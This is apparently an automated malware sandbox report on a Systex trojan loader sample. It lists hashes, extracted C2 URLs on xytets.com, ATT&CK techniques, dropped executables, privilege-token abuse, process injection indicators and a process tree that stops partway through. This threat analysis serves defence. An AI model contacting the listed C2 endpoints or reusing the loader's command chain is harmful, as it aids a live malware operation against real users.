systex | 181ea5b894a0f05a866954a78210118e61ede5a2e2f0c4bc85b01ede390c7974

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 08:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260930-j52gpaxy5n
SHA256 181ea5b894a0f05a866954a78210118e61ede5a2e2f0c4bc85b01ede390c7974
MD5 b921c2f4346627c0a1dbb0ce3c60f874
SHA1 78c91e886399baa2a319a20ce7c2f4fbf8f5581c
SHA512 40895f757975dc1a12d428ed9b29a7a9bc7782576247baa9829a8b3eeeaa8b601e4750dd3623b63c91991be4ba4d62ea62140ac96bc6c98df58788300cc60df2
SSDEEP 6144:mflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:mflfAsiVGjSGecvX
TLSH
T171747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1396	hbztrmjetoljgbyw.exe
5456	hbztrmjetoljgbyw.sys
3824	CreateProcess.exe
5980	geywqojgeb.exe
2820	CreateProcess.exe
5792	CreateProcess.exe
4224	i_geywqojgeb.exe
5720	gdbvtoljdb.sys
784	CreateProcess.exe
5652	geywigbytn.exe
5956	CreateProcess.exe
3896	CreateProcess.exe
4520	i_geywigbytn.exe
3372	qoigdyvqnl.sys
5200	CreateProcess.exe
1220	tnlfdyvqoi.exe
2248	CreateProcess.exe
5340	CreateProcess.exe
2396	i_tnlfdyvqoi.exe
2316	tnligavsnl.sys
4836	CreateProcess.exe
3060	snlfdxvpni.exe
5832	CreateProcess.exe
4664	CreateProcess.exe
1612	i_snlfdxvpni.exe
5800	nkfdxnhfdx.sys
2572	CreateProcess.exe
3552	fcxvpnifax.exe
2324	CreateProcess.exe
2304	CreateProcess.exe
4976	i_fcxvpnifax.exe
3932	hfdxvpnhfz.sys
2560	CreateProcess.exe
2412	fczxspfzxs.exe
888	CreateProcess.exe
5408	CreateProcess.exe
5092	i_fczxspfzxs.exe
2896	wupnhfzxrp.sys
2904	CreateProcess.exe
5636	xrpkhczusm.exe
3744	CreateProcess.exe
3148	CreateProcess.exe
3804	i_xrpkhczusm.exe
4868	omjebzxrpj.sys
3336	CreateProcess.exe
4820	rpmgecwurp.exe
4180	CreateProcess.exe
3208	CreateProcess.exe
5520	i_rpmgecwurp.exe
4092	wuomgezwjh.sys
5416	CreateProcess.exe
912	ojhbztrlje.exe
3260	CreateProcess.exe
5276	CreateProcess.exe
1148	i_ojhbztrlje.exe
4824	mgeywqomge.sys
4476	CreateProcess.exe
3784	jgbztrlbvt.exe
3800	CreateProcess.exe
4164	CreateProcess.exe
5548	i_jgbztrlbvt.exe
4704	geywqoigby.sys
3168	CreateProcess.exe
5520	geywqoigby.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1316837673\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1942533977\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1060461682\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1060461682\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1842244719\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1842244719\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1842244719\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1942533977\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4644_1842244719\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jecwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jecwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywqojgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlfdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlfdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwrpmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljebomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmjetoljgbyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywqojgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbztrlbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvtnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkhczxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywigbytn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnifax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkhczxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fczxspfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljebomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmgecwurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojhbztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmgecwurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdbwqolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnifax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fczxspfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbztrlbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvtnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdbwqolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywigbytn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojhbztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwrpmhezxr.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
756	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2472	ipconfig.exe
5092	ipconfig.exe
436	ipconfig.exe
3928	ipconfig.exe
2904	ipconfig.exe
4624	ipconfig.exe
6028	ipconfig.exe
3084	ipconfig.exe
5772	ipconfig.exe
2604	ipconfig.exe
2416	ipconfig.exe
1944	ipconfig.exe
3396	ipconfig.exe
3392	ipconfig.exe
5060	ipconfig.exe
1964	ipconfig.exe
5352	ipconfig.exe
4160	ipconfig.exe
3440	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-650287814-2715975232-1279715623-1000\{A7BD3867-4752-4EA4-83BC-CD92D750A7C1}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe
1396	hbztrmjetoljgbyw.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	i_geywqojgeb.exe
Token: SeDebugPrivilege	4520	i_geywigbytn.exe
Token: SeDebugPrivilege	2396	i_tnlfdyvqoi.exe
Token: SeDebugPrivilege	1612	i_snlfdxvpni.exe
Token: SeDebugPrivilege	4976	i_fcxvpnifax.exe
Token: SeDebugPrivilege	5092	i_fczxspfzxs.exe
Token: SeDebugPrivilege	3804	i_xrpkhczusm.exe
Token: SeDebugPrivilege	5520	i_rpmgecwurp.exe
Token: SeDebugPrivilege	1148	i_ojhbztrlje.exe
Token: SeDebugPrivilege	5548	i_jgbztrlbvt.exe
Token: SeDebugPrivilege	2440	i_geywqoigby.exe
Token: SeDebugPrivilege	2136	i_nlfdxvtnli.exe
Token: SeDebugPrivilege	3172	i_pnifaxvpnk.exe
Token: SeDebugPrivilege	4720	i_snkhczxvpn.exe
Token: SeDebugPrivilege	5772	i_causmkfcxu.exe
Token: SeDebugPrivilege	1536	i_cwrpmhezxr.exe
Token: SeDebugPrivilege	2044	i_jecwuomgey.exe
Token: SeDebugPrivilege	1352	i_ljebomgeyw.exe
Token: SeDebugPrivilege	2512	i_gdbwqolgey.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4644	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 1396	2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 2336 wrote to memory of 2208	2336	2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 2208 wrote to memory of 4644	2208	iexplore.exe	91
PID 4644 wrote to memory of 4708	4644	msedge.exe	92
PID 4644 wrote to memory of 4304	4644	msedge.exe	93
PID 4644 wrote to memory of 756	4644	msedge.exe	94
PID 4644 wrote to memory of 4304	4644	msedge.exe	93
PID 4644 wrote to memory of 4304	4644	msedge.exe	93
PID 4644 wrote to memory of 260	4644	msedge.exe	95
PID 4644 wrote to memory of 260	4644	msedge.exe	95
PID 4644 wrote to memory of 460	4644	msedge.exe	97
PID 4644 wrote to memory of 460	4644	msedge.exe	97
PID 4644 wrote to memory of 460	4644	msedge.exe	97
PID 4644 wrote to memory of 3256	4644	msedge.exe	98
PID 4644 wrote to memory of 3256	4644	msedge.exe	98
PID 4644 wrote to memory of 3256	4644	msedge.exe	98
PID 4644 wrote to memory of 5352	4644	msedge.exe	99
PID 4644 wrote to memory of 4344	4644	msedge.exe	100
PID 4644 wrote to memory of 5352	4644	msedge.exe	99
PID 4644 wrote to memory of 5352	4644	msedge.exe	99
PID 4644 wrote to memory of 4344	4644	msedge.exe	100
PID 4644 wrote to memory of 4344	4644	msedge.exe	100
PID 4644 wrote to memory of 2496	4644	msedge.exe	102
PID 4644 wrote to memory of 2496	4644	msedge.exe	102
PID 4644 wrote to memory of 2564	4644	msedge.exe	105
PID 4644 wrote to memory of 2676	4644	msedge.exe	106
PID 4644 wrote to memory of 2564	4644	msedge.exe	105
PID 4644 wrote to memory of 2676	4644	msedge.exe	106
PID 4644 wrote to memory of 2340	4644	msedge.exe	108
PID 1396 wrote to memory of 3824	1396	hbztrmjetoljgbyw.exe	109
PID 4644 wrote to memory of 4508	4644	msedge.exe	111
PID 4644 wrote to memory of 4508	4644	msedge.exe	111
PID 5980 wrote to memory of 2820	5980	geywqojgeb.exe	113
PID 4644 wrote to memory of 5572	4644	msedge.exe	116
PID 4644 wrote to memory of 5572	4644	msedge.exe	116
PID 1396 wrote to memory of 5792	1396	hbztrmjetoljgbyw.exe	119
PID 1396 wrote to memory of 784	1396	hbztrmjetoljgbyw.exe	123
PID 5652 wrote to memory of 5956	5652	geywigbytn.exe	125
PID 1396 wrote to memory of 3896	1396	hbztrmjetoljgbyw.exe	128
PID 1396 wrote to memory of 5200	1396	hbztrmjetoljgbyw.exe	132
PID 1220 wrote to memory of 2248	1220	tnlfdyvqoi.exe	134
PID 1396 wrote to memory of 5340	1396	hbztrmjetoljgbyw.exe	137
PID 1396 wrote to memory of 4836	1396	hbztrmjetoljgbyw.exe	142
PID 3060 wrote to memory of 5832	3060	snlfdxvpni.exe	144
PID 1396 wrote to memory of 4664	1396	hbztrmjetoljgbyw.exe	147
PID 4644 wrote to memory of 2432	4644	msedge.exe	149
PID 4644 wrote to memory of 6040	4644	msedge.exe	150
PID 4644 wrote to memory of 3112	4644	msedge.exe	151
PID 1396 wrote to memory of 2572	1396	hbztrmjetoljgbyw.exe	154
PID 3552 wrote to memory of 2324	3552	fcxvpnifax.exe	156
PID 1396 wrote to memory of 2304	1396	hbztrmjetoljgbyw.exe	159
PID 1396 wrote to memory of 2560	1396	hbztrmjetoljgbyw.exe	163
PID 2412 wrote to memory of 888	2412	fczxspfzxs.exe	165
PID 1396 wrote to memory of 5408	1396	hbztrmjetoljgbyw.exe	168
PID 1396 wrote to memory of 2904	1396	hbztrmjetoljgbyw.exe	172
PID 5636 wrote to memory of 3744	5636	xrpkhczusm.exe	174
PID 1396 wrote to memory of 3148	1396	hbztrmjetoljgbyw.exe	177
PID 1396 wrote to memory of 3336	1396	hbztrmjetoljgbyw.exe	181
PID 4820 wrote to memory of 4180	4820	rpmgecwurp.exe	183
PID 1396 wrote to memory of 3208	1396	hbztrmjetoljgbyw.exe	186
PID 4644 wrote to memory of 5784	4644	msedge.exe	188
PID 4644 wrote to memory of 5784	4644	msedge.exe	188
PID 1396 wrote to memory of 5416	1396	hbztrmjetoljgbyw.exe	194
PID 912 wrote to memory of 3260	912	ojhbztrlje.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_b921c2f4346627c0a1dbb0ce3c60f874_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Temp\hbztrmjetoljgbyw.exe
  C:\Temp\hbztrmjetoljgbyw.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywqojgeb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3824
  - - C:\Temp\geywqojgeb.exe
      C:\Temp\geywqojgeb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5980
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2820
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywqojgeb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5792
  - - C:\Temp\i_geywqojgeb.exe
      C:\Temp\i_geywqojgeb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4224
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywigbytn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:784
  - - C:\Temp\geywigbytn.exe
      C:\Temp\geywigbytn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5652
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5956
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywigbytn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3896
  - - C:\Temp\i_geywigbytn.exe
      C:\Temp\i_geywigbytn.exe ups_ins
      4⤵
      Executes dropped EXE
